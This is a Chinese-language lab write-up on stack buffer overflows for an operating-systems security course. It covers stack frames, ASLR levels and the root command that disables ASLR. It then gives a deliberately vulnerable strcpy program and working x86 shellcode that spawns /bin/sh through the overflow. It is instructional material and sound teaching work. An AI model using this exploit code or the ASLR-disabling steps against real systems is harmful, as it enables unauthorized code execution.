[操作系统安全]缓冲区溢出
一、C栈帧结构
- 函数调用内存中的三个区域,代码区、静态数据区、动态数据区(压栈和清栈就是在这个区域完成的)。
- CPU中有三个寄存器,分别是eip、ebp和esp。eip永远指向代码区中将要执行的下一条指令,执行方式包括顺序执行和跳转;ebp和esp用于管理栈空间,ebp指向栈底,esp指向栈顶,代码区中的函数调用、返回和执行都伴随着不断的压栈和清栈,在调用函数时,ebp会指向Previous Frame Pointer以在执行函数之后返回到原来的地址。栈中数据存储和释放的原则:后进先出。
二、实验原理
- 1、缓冲区溢出是因为在程序执行时数据的长度超出了预先分配的空间大小,导致覆盖了其他数据的分配区域,从而执行非授权指令,获取信息,取得系统特权进而进行各种非法操作导致程序运行失败、系统宕机、重新启动等后果。普通的程序员由于失误导致的缓冲区溢出可能只会导致程序无法运行而不会影响系统,但是如果黑客使用构造好的数据来进行缓冲区溢出攻击则可能获得超级管理员权限,非常危险。
- 2、数据执行保护机制的开启与关闭
- ASLR 技术是一种针对缓冲区溢出的安全保护技术。
- ASLR功能等级:Linux系统中ASLR 技术分三个等级。如下:
- 0:没有随机化。即关闭 ASLR。
- 1:保留的随机化。共享库、栈、mmap() 以及 VDSO 将被随机化。
- 2:完全的随机化。在 1 的基础上,通过 brk() 分配的内存空间也将被随机化。
- ASLR 功能关闭
- ASLR 的等级可以通过一个内核参数 randomize_va_space 来进行控制。
- 系统默认这个功能是开启的。有时候调试代码时,需要更改 ASLR 功能,可通过命令设置。
- 如果想关闭该功能,则可以输入如下命令即可关闭,注意需要 root 权限,命令如下:
echo 0 > /proc/sys/kernel/randomize_va_space
ASLR功能开启
echo 1 > /proc/sys/kernel/randomize_va_space
可通过命令查看当前系统的 ASLR 等级,操作如下:
cat /proc/sys/kernel/randomize_va_space
三、实验过程
1、首先我们要构造一个拥有缓冲区溢出漏洞的程序,代码如下:
#include <stdio.h> #include <string.h> char buffer[] = "01234567890123456789========ABCD"; void foo1(){ printf("Run foo1() ,you are attacked !\\n"); } void foo() { char buff[16]; strcpy (buff, buffer); printf("Run foo() ....\\n"); } int main(int argc, char * argv[]) { foo(); return 0; } |
找到foo1()函数的入口地址,并将该地址以存放在字符串存入缓存时溢出部位:ABCD,来引导该函数运行。
首先在打开数据执行保护的状态下,对其进行重新编译,并进行调试
可以看到由于打开数据执行保护,缓存溢出后会被检测到,并强制停止。
2、之后我们在关闭数据执行保护的状态下,对其进行编译,并进行调试
可以看到,虽然foo1()函数并没有被调用,但其仍然被执行了。
3、完成上面部分后,我们对foo1()函数进行设计,即设计shellcode部分。
shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制之机器码,以其经常让攻击者获得shell而得名。 可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机械码,让电脑可以执行攻击者的任意指令。
下面这段代码是通过C语言启动sh命令的程序,由于shellcode经常用机器编码编写,因此我们需要对其进行反编译得到机器码。
#include <stdio.h> int main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); return 0; }
|
反编译后得到以下机器码:
"\\x31\\xc0" /* xor %eax,%eax */ "\\x50" /* push %eax */ "\\x68""//sh" /* push $0x68732f2f */ "\\x68""/bin" /* push $0x6e69622f */ "\\x89\\xe3" /* mov %esp,%ebx */ "\\x50" /* push %eax */ "\\x53" /* push %ebx */ "\\x89\\xe1" /* mov %esp,%ecx */ "\\x31\\xd2" /* xor %edx, %edx */ "\\xb0\\x0b" /* movb $0xb,%al */ "\\xcd\\x80"; /* int $0x80 */ |
将得到的机器码添加到foo1()函数中,并执行,即可将攻击代码注入。
#include <stdio.h> #include <string.h> char buffer[] = "01234567890123456789========\\x00\\x00\\x11\\xed";
void foo1(){ printf("Run foo1() ,you are attacked !\\n");
char shellcode[]= "\\x31\\xc0" /* xor %eax,%eax */ "\\x50" /* push %eax */ "\\x68""//sh" /* push $0x68732f2f */ "\\x68""/bin" /* push $0x6e69622f */ "\\x89\\xe3" /* mov %esp,%ebx */ "\\x50" /* push %eax */ "\\x53" /* push %ebx */ "\\x89\\xe1" /* mov %esp,%ecx */ "\\x31\\xd2" /* xor %edx, %edx */ "\\xb0\\x0b" /* movb $0xb,%al */ "\\xcd\\x80"; /* int $0x80 */ void (*fp)(void); fp = (void*)shellcode; fp(); printf("Run foo1() ,you are attacked222 !\\n"); } void foo() { char buff[16]; strcpy (buff, buffer); printf("Run foo() ....\\n"); } int main(int argc, char * argv[]) { foo(); return 0; } |
此时重新编译运行可以看到被攻击后进入shell命令行,攻击成功。
参考:
缓冲区溢出与数据执行保护DEP - kkqq的文章 - 知乎 https://zhuanlan.zhihu.com/p/500221354
Linux下 ASLR功能与 -no-pie 选项说明_no pie_凌雪舞的博客-CSDN博客
缓冲区溢出实验 - 小黑豆的文章 - 知乎 https://zhuanlan.zhihu.com/p/138620118
缓冲区溢出实验 - 在路上的文章 - 知乎 https://zhuanlan.zhihu.com/p/151814689